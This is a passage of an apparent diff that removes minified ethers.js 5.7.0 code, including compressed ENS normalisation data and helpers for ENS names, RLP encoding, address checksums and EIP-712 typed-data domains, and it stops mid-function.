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")); - var xt = new Set(kt(Mt)); - var Ft = new Set(kt(Mt)); - var Pt = function(t2) { - let e2 = []; - for (; ; ) { - let r4 = t2(); - if (0 == r4) - break; - e2.push(St(r4, t2)); - } - for (; ; ) { - let r4 = t2() - 1; - if (r4 < 0) - break; - e2.push(Nt(r4, t2)); - } - return function(t3) { - const e3 = {}; - for (let r4 = 0; r4 < t3.length; r4++) { - const n2 = t3[r4]; - e3[n2[0]] = n2[1]; - } - return e3; - }(wt(e2)); - }(Mt); - var Tt = function(t2) { - let e2 = kt(t2).sort((t3, e3) => t3 - e3); - return function r4() { - let n2 = []; - for (; ; ) { - let A3 = kt(t2, e2); - if (0 == A3.length) - break; - n2.push({ set: new Set(A3), node: r4() }); - } - n2.sort((t3, e3) => e3.set.size - t3.set.size); - let A2 = t2(), i2 = A2 % 3; - A2 = A2 / 3 | 0; - let o2 = !!(1 & A2); - return A2 >>= 1, { branches: n2, valid: i2, fe0f: o2, save: 1 == A2, check: 2 == A2 }; - }(); - }(Mt); - var Rt = 45; - var Ut = 95; - function Gt(t2) { - return function(t3, e2 = ft.current) { - return yt(Ct(t3, e2)); - }(t2); - } - function Ht(t2) { - return t2.filter((t3) => 65039 != t3); - } - function Lt(t2) { - for (let e2 of t2.split(".")) { - let t3 = Gt(e2); - try { - for (let e3 = t3.lastIndexOf(Ut) - 1; e3 >= 0; e3--) - if (t3[e3] !== Ut) - throw new Error("underscore only allowed at start"); - if (t3.length >= 4 && t3.every((t4) => t4 < 128) && t3[2] === Rt && t3[3] === Rt) - throw new Error("invalid label extension"); - } catch (t4) { - throw new Error(`Invalid label "${e2}": ${t4.message}`); - } - } - return t2; - } - function Ot(t2) { - return Lt(function(t3, e2) { - let r4 = Gt(t3).reverse(), n2 = []; - for (; r4.length; ) { - let t4 = Yt(r4); - if (t4) { - n2.push(...e2(t4)); - continue; - } - let A3 = r4.pop(); - if (xt.has(A3)) { - n2.push(A3); - continue; - } - if (Ft.has(A3)) - continue; - let i2 = Pt[A3]; - if (!i2) - throw new Error(`Disallowed codepoint: 0x${A3.toString(16).toUpperCase()}`); - n2.push(...i2); - } - return Lt((A2 = String.fromCodePoint(...n2), A2.normalize("NFC"))); - var A2; - }(t2, Ht)); - } - function Yt(t2, e2) { - var r4; - let n2, A2, i2 = Tt, o2 = [], s2 = t2.length; - for (e2 && (e2.length = 0); s2; ) { - let a2 = t2[--s2]; - if (i2 = null === (r4 = i2.branches.find((t3) => t3.set.has(a2))) || void 0 === r4 ? void 0 : r4.node, !i2) - break; - if (i2.save) - A2 = a2; - else if (i2.check && a2 === A2) - break; - o2.push(a2), i2.fe0f && (o2.push(65039), s2 > 0 && 65039 == t2[s2 - 1] && s2--), i2.valid && (n2 = o2.slice(), 2 == i2.valid && n2.splice(1, 1), e2 && e2.push(...t2.slice(s2).reverse()), t2.length = s2); - } - return n2; - } - var Kt = new m(Et); - var Jt = new Uint8Array(32); - function jt(t2) { - if (0 === t2.length) - throw new Error("invalid ENS name; empty component"); - return t2; - } - function zt(t2) { - const e2 = Ct(Ot(t2)), r4 = []; - if (0 === t2.length) - return r4; - let n2 = 0; - for (let t3 = 0; t3 < e2.length; t3++) { - 46 === e2[t3] && (r4.push(jt(e2.slice(n2, t3))), n2 = t3 + 1); - } - if (n2 >= e2.length) - throw new Error("invalid ENS name; empty component"); - return r4.push(jt(e2.slice(n2))), r4; - } - Jt.fill(0); - var qt = "Ethereum Signed Message:\n"; - var Xt = new m("rlp/5.7.0"); - function Vt(t2) { - const e2 = []; - for (; t2; ) - e2.unshift(255 & t2), t2 >>= 8; - return e2; - } - function Wt(t2) { - if (Array.isArray(t2)) { - let e3 = []; - if (t2.forEach(function(t3) { - e3 = e3.concat(Wt(t3)); - }), e3.length <= 55) - return e3.unshift(192 + e3.length), e3; - const r5 = Vt(e3.length); - return r5.unshift(247 + r5.length), r5.concat(e3); - } - var e2; - k(e2 = t2) && !(e2.length % 2) || _(e2) || Xt.throwArgumentError("RLP object must be BytesLike", "object", t2); - const r4 = Array.prototype.slice.call(Q(t2)); - if (1 === r4.length && r4[0] <= 127) - return r4; - if (r4.length <= 55) - return r4.unshift(128 + r4.length), r4; - const n2 = Vt(r4.length); - return n2.unshift(183 + n2.length), n2.concat(r4); - } - var Zt = new m("address/5.7.0"); - function $t(t2) { - k(t2, 20) || Zt.throwArgumentError("invalid address", "address", t2); - const e2 = (t2 = t2.toLowerCase()).substring(2).split(""), r4 = new Uint8Array(40); - for (let t3 = 0; t3 < 40; t3++) - r4[t3] = e2[t3].charCodeAt(0); - const n2 = Q(F(r4)); - for (let t3 = 0; t3 < 40; t3 += 2) - n2[t3 >> 1] >> 4 >= 8 && (e2[t3] = e2[t3].toUpperCase()), (15 & n2[t3 >> 1]) >= 8 && (e2[t3 + 1] = e2[t3 + 1].toUpperCase()); - return "0x" + e2.join(""); - } - var te = {}; - for (let t2 = 0; t2 < 10; t2++) - te[String(t2)] = String(t2); - for (let t2 = 0; t2 < 26; t2++) - te[String.fromCharCode(65 + t2)] = String(10 + t2); - var ee = Math.floor((re = 9007199254740991, Math.log10 ? Math.log10(re) : Math.log(re) / Math.LN10)); - var re; - function ne(t2) { - let e2 = null; - if ("string" != typeof t2 && Zt.throwArgumentError("invalid address", "address", t2), t2.match(/^(0x)?[0-9a-fA-F]{40}$/)) - "0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), e2 = $t(t2), t2.match(/([A-F].*[a-f])|([a-f].*[A-F])/) && e2 !== t2 && Zt.throwArgumentError("bad address checksum", "address", t2); - else if (t2.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { - for (t2.substring(2, 4) !== function(t3) { - let e3 = (t3 = (t3 = t3.toUpperCase()).substring(4) + t3.substring(0, 2) + "00").split("").map((t4) => te[t4]).join(""); - for (; e3.length >= ee; ) { - let t4 = e3.substring(0, ee); - e3 = parseInt(t4, 10) % 97 + e3.substring(t4.length); - } - let r4 = String(98 - parseInt(e3, 10) % 97); - for (; r4.length < 2; ) - r4 = "0" + r4; - return r4; - }(t2) && Zt.throwArgumentError("bad icap checksum", "address", t2), e2 = q(t2.substring(4)); e2.length < 40; ) - e2 = "0" + e2; - e2 = $t("0x" + e2); - } else - Zt.throwArgumentError("invalid address", "address", t2); - return e2; - } - function Ae(t2) { - let e2 = null; - try { - e2 = ne(t2.from); - } catch (e3) { - Zt.throwArgumentError("missing from address", "transaction", t2); - } - const r4 = function(t3) { - let e3 = Q(t3); - if (0 === e3.length) - return e3; - let r5 = 0; - for (; r5 < e3.length && 0 === e3[r5]; ) - r5++; - return r5 && (e3 = e3.slice(r5)), e3; - }(Q(Y.from(t2.nonce).toHexString())); - return ne(N2(F(S(Wt([e2, r4]))), 12)); - } - var ie = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var oe = new m("properties/5.7.0"); - function se(t2, e2, r4) { - Object.defineProperty(t2, e2, { enumerable: true, value: r4, writable: false }); - } - function ae(t2, e2) { - for (let r4 = 0; r4 < 32; r4++) { - if (t2[e2]) - return t2[e2]; - if (!t2.prototype || "object" != typeof t2.prototype) - break; - t2 = Object.getPrototypeOf(t2.prototype).constructor; - } - return null; - } - function ce(t2) { - return ie(this, void 0, void 0, function* () { - const e2 = Object.keys(t2).map((e3) => { - const r4 = t2[e3]; - return Promise.resolve(r4).then((t3) => ({ key: e3, value: t3 })); - }); - return (yield Promise.all(e2)).reduce((t3, e3) => (t3[e3.key] = e3.value, t3), {}); - }); - } - function he(t2) { - const e2 = {}; - for (const r4 in t2) - e2[r4] = t2[r4]; - return e2; - } - var ge = { bigint: true, boolean: true, function: true, number: true, string: true }; - function ue(t2) { - if (null == t2 || ge[typeof t2]) - return true; - if (Array.isArray(t2) || "object" == typeof t2) { - if (!Object.isFrozen(t2)) - return false; - const e2 = Object.keys(t2); - for (let r4 = 0; r4 < e2.length; r4++) { - let n2 = null; - try { - n2 = t2[e2[r4]]; - } catch (t3) { - continue; - } - if (!ue(n2)) - return false; - } - return true; - } - return oe.throwArgumentError("Cannot deepCopy " + typeof t2, "object", t2); - } - function le(t2) { - if (ue(t2)) - return t2; - if (Array.isArray(t2)) - return Object.freeze(t2.map((t3) => fe(t3))); - if ("object" == typeof t2) { - const e2 = {}; - for (const r4 in t2) { - const n2 = t2[r4]; - void 0 !== n2 && se(e2, r4, fe(n2)); - } - return e2; - } - return oe.throwArgumentError("Cannot deepCopy " + typeof t2, "object", t2); - } - function fe(t2) { - return le(t2); - } - var pe = class { - constructor(t2) { - for (const e2 in t2) - this[e2] = fe(t2[e2]); - } - }; - var de = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var Ie = new m(Et); - var ye = new Uint8Array(32); - ye.fill(0); - var Ce = Y.from(-1); - var me = Y.from(0); - var Be = Y.from(1); - var Ee = Y.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - var we = x(Be.toHexString(), 32); - var ve = x(me.toHexString(), 32); - var _e = { name: "string", version: "string", chainId: "uint256", verifyingContract: "address", salt: "bytes32" }; - var Qe = ["name", "version", "chainId", "verifyingContract", "salt"]; - function be(t2) { - return function(e2) { - return "string" != typeof e2 && Ie.throwArgumentError(`invalid domain value for ${JSON.stringify(t2)}`, `domain.${t2}`, e2), e2; - }; - } - var ke = { name: be("name"), version: be("version"), chainId: function(t2) { - try { - return Y.from(t2).toString(); - } catch (t3) { - } - return Ie.throwArgumentError('invalid domain value for "chainId"', "domain.chainId", t2); - }, verifyingContract: function(t2) { - try { - return ne(t2).toLowerCase(); - } catch (t3) { - } - return Ie.throwArgumentError('invalid domain value "verifyingContract"', "domain.verifyingContract", t2); - }, salt: function(t2) { - try { - const e2 = Q(t2); - if (32 !== e2.length) - throw new Error("bad length"); - return S(e2); - } catch (t3) { - } - return Ie.throwArgumentError('invalid domain value "salt"', "domain.salt", t2); - } }; - function De(t2) { - { - const e2 = t2.match(/^(u?)int(\d*)$/); - if (e2) { - const r4 = "" === e2[1], n2 = parseInt(e2[2] || "256"); - (n2 % 8 != 0 || n2 > 256 || e2[2] && e2[2] !== String(n2)) && Ie.throwArgumentError("invalid numeric width", "type", t2); - const A2 = Ee.mask(r4 ? n2 - 1 : n2), i2 = r4 ? A2.add(Be).mul(Ce) : me; - return function(e3) { - const r5 = Y.from(e3); - return (r5.lt(i2) || r5.gt(A2)) && Ie.throwArgumentError(`value out-of-bounds for ${t2}`, "value", e3), x(r5.toTwos(256).toHexString(), 32); - }; - } - } - { - const e2 = t2.match(/^bytes(\d+)$/); - if (e2) { - const r4 = parseInt(e2[1]); - return (0 === r4 || r4 > 32 || e2[1] !== String(r4)) && Ie.throwArgumentError("invalid bytes width", "type", t2), function(e3) { - return Q(e3).length !== r4 && Ie.throwArgumentError(`invalid length for ${t2}`, "value", e3), function(t3) { - const e4 = Q(t3), r5 = e4.length % 32; - return 